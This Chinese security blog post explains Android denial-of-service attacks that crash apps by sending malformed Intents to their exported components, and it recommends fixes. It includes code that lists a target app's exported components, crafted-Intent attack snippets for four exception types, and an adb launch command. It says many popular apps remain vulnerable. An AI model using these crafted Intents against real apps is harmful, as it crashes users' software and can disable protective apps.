查看原文
其他

是谁偷偷退出了我的应用?拒绝服务问题浅谈

skyh00k vivo千镜 2022-11-05

“……

我还是从前那个少年

没有一丝丝改变

时间只不过是考验

种在心中信念丝毫未减

……”

在某个放晴的午后,我慵懒的走在京城街道,耳畔播放着好听的《少年》……
一切仿佛是那么的美好
正当我怀念着那轻狂的少年时光时,耳边越来越明显的嘈杂声将我拉回了现实,这才发现耳边的音乐声早已停止了……
点亮手机,发现播放器已自动退出。忍不住道:“什么鬼,还带自己退出的”,顺手又点开,企图再次回到青春的时光……
然后,口吐芬芳:“这什么**应用,怎么又自动退出了……”

作为一名专业(自称)的移动安全从业人员,我意识到事情并不简单,于是立刻折返回家,熟练的打开电脑,插上数据线,adb shell 进入 dropbox 想查看异常文件。

这个时候仿佛听见系统跟我说:走开,我才不要给你看!
作为专业人士岂是这么容易被你吓到,我一定要找到是谁捣的鬼……


          问题复现          








遇到这种情况,我们可以通过开发常用的简单手段来进行问题复现:

首先这很明显是个拒绝服务攻击,那么我们要做的就是要先定位到发生了什么异常,这里以常规手段为例(当然厂商从业人员是可以通过系统层面的手段直接定位到问题):

1. 进入手机的开发者模式,开启USB调试

2. 通过adb logcat 命令开始记录手机的所有 Log

3. 打开刚刚使用的音乐播放器,静待问题复现

4. 通过问题时间及 exception 进行分析

So,Let's do it!

打开命令行,输入adb logcat -> test.log,待问题复现后停止 Log 采集,很快问题便来了,如下面截图所示:

采集到的信息内,果然找到了如下 Log:
可以看到此音乐软件的进程是直接挂掉了,Caused by处(红色框)是这个问题的发起者,当然也就是攻击者,此时已经完成了拒绝服务的攻击,并且已经开始影响到了用户的体验。
本着打破沙锅问到底的原则,我要研究下这块的攻击代码,等等,看着这熟悉的包名,这似曾相识的操作,这不是我前晚浏览 Android 常见漏洞时随手写的测试 APK 么……
我深深地陷入了的凝思中,开始正视这类在2015年就被安全研究人员提出过的问题。
Android 组件间的通信有着多种方式,Intent 是最常见也是使用最广泛的一种,应用会通过getIntent(),getAction(),Intent.getXXXExtra() 的方式去获取数据,而如果获取到的是空数据、异常数据或者畸形数据,就会引发应用的崩溃,导致应用出现闪退等拒绝服务现象。
拒绝服务攻击不仅可以导致安全防护等应用的防护功能被绕过(如杀毒应用,安全应用,防盗锁屏等),而且也有可能被竞争对手利用,使得自己的应用崩溃,可能在某种程度上造成损失。
拒绝服务影响范围:Android 全版本!!!


          攻击实践          








纸上得来终觉浅,绝知此事要躬行,来实践下吧!

带着这个问题查阅了网上的数据和相关资料,所以一起来实践看下这类问题是否依旧是大面积存在。

首先我们创建一个 Android 的工程,利用 PackageManager 可读出全部应用列表

  1. pm.getInstalledApplications(PackageManager.GET_UNINSTALLED_PACKAGES);

通过如下代码可取得应用的暴露组件

  1.    public void getExportedComponent(){

  2.        PackageManager pm=getPackageManager();

  3.        int exportedCount=0;  // 记录有暴露组件数量

  4.        try {

  5.            PackageInfo packageInfo=pm.getPackageInfo(packagename,PackageManager.GET_ACTIVITIES);

  6.            // Activity

  7.            ActivityInfo[] activityInfo=packageInfo.activities;

  8.            try{

          1. for (ActivityInfo activity:activityInfo){

  9.                if(activity.exported){ // 判断是否暴露

  10.                    Log.d("Exported",activity.name);

  11.                    exportedCount++;

  12.                    try{componentlist.add(activity.name);}catch (Exception e){

  13.                        e.printStackTrace();

  14.                    }

  15.                }else{

  16.                    Log.d("Not",activity.name);

  17.                }

  18.            }}catch (Exception e){

  19.                e.printStackTrace();

  20.            }

  21.            // Seivice

  22.            ServiceInfo[] serviceInfos=pm.getPackageInfo(packagename,PackageManager.GET_SERVICES).services;

  23.            try{

          1. for (ServiceInfo serviceInfo:serviceInfos){

  24.                if (serviceInfo.exported){

  25.                    exportedCount++;

  26.                    Log.d("Exported",serviceInfo.name);

  27.                    try{

                1. componentlist.add(serviceInfo.name);}catch (Exception e){

  28.                        e.printStackTrace();

  29.                    }

  30.                }else {

  31.                    Log.d("Not",serviceInfo.name);

  32.                }

  33.            }}catch (Exception e){

  34.                e.printStackTrace();

  35.            }

  36.            // Receiver

  37.            ActivityInfo[] receivers = pm.getPackageInfo(packagename, PackageManager.GET_RECEIVERS).receivers;

  38.            try{

          1. for (ActivityInfo receiver:receivers){

  39.                if (receiver.exported){

  40.                    exportedCount++;

  41.                    Log.d("Exported",receiver.name);

  42.                    try{

  43.                        componentlist.add(receiver.name);}catch (Exception e){

  44.                        e.printStackTrace();

  45.                    }

  46.                }else {

  47.                    Log.d("Not",receiver.name);

  48.                }

  49.            }}catch (Exception e){

  50.                e.printStackTrace();

  51.            }

  52.        } catch (PackageManager.NameNotFoundException e) {

  53.        }

  54.        if(exportedCount!=0)

  55.        {

  56.            Toast.makeText(FuzzerActivity.this, "该应用共有"+exportedCount+"个暴露组件", Toast.LENGTH_SHORT).show();

  57.        }

  58.        else

  59.        {

  60.            Toast.makeText(FuzzerActivity.this, "该应用没有暴露组件", Toast.LENGTH_SHORT).show();

  61.        }

  62.    }

为了方便起见我们将其放入一个列表里,得到如下APK:

超级厚码想要知道自己动手试试吧
如上文中的某音乐APP是存在大概40余暴露组件,众所周知暴露组件的增多会增加攻击面,从而存在更大的安全风险。
根据资料及对 Intent 源码分析,目前已知可能会引起该问题的攻击代码及原因如下示例:


NullPointerException

问题代码示例:

  1.   Intent i = new Intent();

  2.   if (i.getAction().equals("XXXX")) {

  3.      Log.d("TAG", "Test for Android Refuse Service");

  4.   }

攻击思路:

  1.   // adb

  2.   adb shell am start -n 包名/.MainActivity

  3.   // 亦可通过 Intent 直接启动此类组件  


ClassCastException

问题代码示例:

  1.   Intent intent = getIntent();

  2.   String test = (String)intent .getSerializableExtra("key");

攻击代码示例:

  1.   Intent intent = new Intent();

  2.   intent.setClassName("目标 Activity ", "目标组件");

  3.   intent.putExtra("key", BigInteger.valueOf(1));

  4.   startActivity(i)


IndexOutOfBoundsException

问题代码示例:

  1.   Intent intent = getIntent();

  2.   intArray = intent.getIntegerArrayListExtra("testarray");

  3.   if (intArray != null) {

  4.      for (int i = 0; i < 5; i++) {

  5.          intArray.get(i);

  6.     }

  7.   }

攻击思路:

伪造 testarray 且小于其判断大小,通过 intent 传入,引起拒绝服务。


ClassNotFoundException

问题代码示例:

  1.   Intent intent = getIntent();

  2.   intent.getSerializableExtra("key");

攻击代码示例:

  1.   public void onCreate(Bundle savedInstanceState) {

  2.       super.onCreate(savedInstanceState);

  3.       setContentView(R.layout.main);

  4.       Intent intent = new Intent();

  5.       intent.setClassName("目标包名", "目标组件");

  6.       intent.putExtra("key", new SerializableTest());

  7.       startActivity(i);

  8.   }

  9.   // 自定义序列化内容

  10.   public class SerializableTest implements Serializable{

  11.       private static final long serialVersionUID = 42L;

  12.       public SerializableTest(){

  13.           super();

  14.       }

  15.   }

攻击思路:

自定义序列内容,通过 Intent 发送至目标组件,从而引起其拒绝服务问题。


经过上面的介绍,我们攻击代码的思路已经很清晰了,先扫描各应用暴露组件,进而分别用我们的 APK 去伪造 Intent 启动目标组件,同步使用 Logcat 或直接观察应用状态查看结果。


因为只是验证问题,所以这里并未进行自启动且自动扫描,而是采用了手动扫描的形式,也更方便实时查看结果。

鉴于此问题目前市场较多的应用仍存在,故此次还是不做数据统计结果的分享,有兴趣的也还请自行验证。

目前,此问题广泛的存在于各类应用中,除上文中的某知名音乐软件,在其他某些知名社交类应用、直播类应用、甚至部分安全类应用也存在。


        修复建议       








既然问题这么多了,还是修复一下吧,以下是经过实践得出的有效修复方式

1. 如非必要,直接将组件设定为不可导出

即:android:exported="false"

2. 暴露组件在被启动时一定进行参数的有效性验证并进行异常捕获

尤其Intent.getXXXExtra()相关代码


建议捕获异常类型

· 空指针异常

· 类型转换异常

· 数组越界访问异常

· 类未定义异常

· 其他异常


       问题拓展       








Intent 是 Android 中很重要的一个通信方式,通常是会包含很多额外的数据,如 Action、 Extras等,以供目标组件处理。

Intent 安全一直以来也是移动安全领域的热点之一,因为外部输入的不确定性,从而可能会有更多被攻击的可能性


本地 Intent 注入的风险也更不仅是拒绝服务,如权限提升、LauchAnyWhere、间接访问私有组件等,尤其当 system 权限的 APP 存在漏洞时,就有可能会被绕过 IPC 权限。

远程的 Intent 注入,操作空间也会更加灵活,如来自网页的 JS 脚本可以通过远程的 Intent 实现拨打电话,通过网络短信中的链接,可以直接启动本地的应用等等。

抛出此类问题也是从安全角度提出一些 Intent 的使用方式,如在传递敏感信息时应优先考虑如何进行身份校验,而不是实现了功能,却给攻击者留下了漏洞。


写在最后

其实本文所谈的问题早在5年前就已经抛出来了,直到现在,市场上还有很多的未修复应用,还不乏一些大厂应用。可想而知,如何避免重复出现已发现的安全问题,还是任重而道远呀……


更多精彩阅读

“家贼难防”系列-密钥硬编码
你需要知道的SELinux入门学习
如何通过配置文件实现HTTPS证书固定


END


长按关注  最新动态


好文!在看吗?点一下鸭!

您可能也对以下帖子感兴趣

文章有问题?点此查看未经处理的缓存